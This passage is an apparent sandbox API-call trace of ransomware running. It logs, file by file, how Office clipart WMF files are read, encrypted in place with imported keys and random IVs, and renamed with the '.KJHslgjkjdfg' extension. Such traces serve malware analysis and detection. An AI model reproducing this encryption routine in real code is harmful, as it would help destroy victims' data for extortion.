nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0189.032] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0189.032] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0189.032] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0189.033] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.033] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.033] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.033] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x148c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x148c, lpOverlapped=0x0) returned 1 [0189.034] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1490, dwBufLen=0x1490 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1490) returned 1 [0189.034] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.034] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1490, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1490, lpOverlapped=0x0) returned 1 [0189.034] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.034] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1564, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.034] SetEndOfFile (hFile=0x130) returned 1 [0189.038] GetProcessHeap () returned 0x990000 [0189.038] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0189.038] GetProcessHeap () returned 0x990000 [0189.038] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0189.038] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00544_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00544_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00544_.wmf.kjhslgjkjdfg")) returned 1 [0189.039] CloseHandle (hObject=0x130) returned 1 [0189.039] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecb4f600, ftCreationTime.dwHighDateTime=0x1bd4af4, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xecb4f600, ftLastWriteTime.dwHighDateTime=0x1bd4af4, nFileSizeHigh=0x0, nFileSizeLow=0x380, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD00564_.WMF", cAlternateFileName="")) returned 1 [0189.039] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00564_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0189.040] GetProcessHeap () returned 0x990000 [0189.040] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0189.040] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0189.040] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0189.040] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.040] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.040] GetProcessHeap () returned 0x990000 [0189.040] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0189.040] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0189.040] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.040] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0189.043] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0189.043] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0189.044] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0189.044] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0189.044] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0189.044] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.044] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.044] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.044] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x380, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x380, lpOverlapped=0x0) returned 1 [0189.044] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x380, dwBufLen=0x380 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x380) returned 1 [0189.044] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.044] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x380, lpOverlapped=0x0) returned 1 [0189.045] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.045] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x454, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.045] SetEndOfFile (hFile=0x130) returned 1 [0189.047] GetProcessHeap () returned 0x990000 [0189.047] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0189.048] GetProcessHeap () returned 0x990000 [0189.048] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0189.048] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00564_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00564_.wmf.kjhslgjkjdfg")) returned 1 [0189.048] CloseHandle (hObject=0x130) returned 1 [0189.049] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4dd7200, ftCreationTime.dwHighDateTime=0x1bd4af4, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd4dd7200, ftLastWriteTime.dwHighDateTime=0x1bd4af4, nFileSizeHigh=0x0, nFileSizeLow=0x2f0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD00586_.WMF", cAlternateFileName="")) returned 1 [0189.049] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00586_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0189.049] GetProcessHeap () returned 0x990000 [0189.049] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0189.049] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0189.049] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0189.049] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.049] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.050] GetProcessHeap () returned 0x990000 [0189.050] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0189.050] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0189.050] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.050] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0189.052] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0189.052] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0189.052] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0189.052] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0189.052] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0189.052] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.052] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.052] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.052] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2f0, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x2f0, lpOverlapped=0x0) returned 1 [0189.052] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2f0, dwBufLen=0x2f0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2f0) returned 1 [0189.053] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.053] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2f0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2f0, lpOverlapped=0x0) returned 1 [0189.053] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.053] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.053] SetEndOfFile (hFile=0x130) returned 1 [0189.056] GetProcessHeap () returned 0x990000 [0189.056] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0189.056] GetProcessHeap () returned 0x990000 [0189.056] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0189.056] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00586_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00586_.wmf.kjhslgjkjdfg")) returned 1 [0189.057] CloseHandle (hObject=0x130) returned 1 [0189.057] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbef0a100, ftCreationTime.dwHighDateTime=0x1bd4b36, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbef0a100, ftLastWriteTime.dwHighDateTime=0x1bd4b36, nFileSizeHigh=0x0, nFileSizeLow=0x2b90, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD00775_.WMF", cAlternateFileName="")) returned 1 [0189.057] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00775_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0189.057] GetProcessHeap () returned 0x990000 [0189.057] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0189.057] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0189.057] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0189.058] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.058] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.058] GetProcessHeap () returned 0x990000 [0189.058] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0189.058] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0189.058] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.058] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0189.060] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0189.061] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0189.061] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0189.061] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0189.061] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0189.061] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.061] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.061] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.061] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2b90, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x2b90, lpOverlapped=0x0) returned 1 [0189.062] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2b90, dwBufLen=0x2b90 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2b90) returned 1 [0189.062] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.062] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2b90, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2b90, lpOverlapped=0x0) returned 1 [0189.063] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.063] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2c64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.063] SetEndOfFile (hFile=0x130) returned 1 [0189.066] GetProcessHeap () returned 0x990000 [0189.066] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0189.066] GetProcessHeap () returned 0x990000 [0189.066] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0189.066] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00775_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00775_.wmf.kjhslgjkjdfg")) returned 1 [0189.067] CloseHandle (hObject=0x130) returned 1 [0189.067] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2364900, ftCreationTime.dwHighDateTime=0x1bd4b03, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd2364900, ftLastWriteTime.dwHighDateTime=0x1bd4b03, nFileSizeHigh=0x0, nFileSizeLow=0x2332, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD00779_.WMF", cAlternateFileName="")) returned 1 [0189.067] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00779_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0189.069] GetProcessHeap () returned 0x990000 [0189.069] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0189.069] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0189.069] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0189.069] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xe, lpOverlapped=0x0) returned 1 [0189.072] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.072] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.072] GetProcessHeap () returned 0x990000 [0189.072] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0189.072] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0189.072] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.072] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0189.072] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0189.072] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0189.072] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0189.072] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0189.072] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0189.072] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0189.073] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0189.073] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.073] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2332, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x2332, lpOverlapped=0x0) returned 1 [0189.074] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2340, dwBufLen=0x2340 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2340) returned 1 [0189.074] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.074] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2340, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2340, lpOverlapped=0x0) returned 1 [0189.074] CryptDestroyKey (hKey=0x9b6628) returned 1 [0189.074] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2414, lpNewFilePointer=0x0, 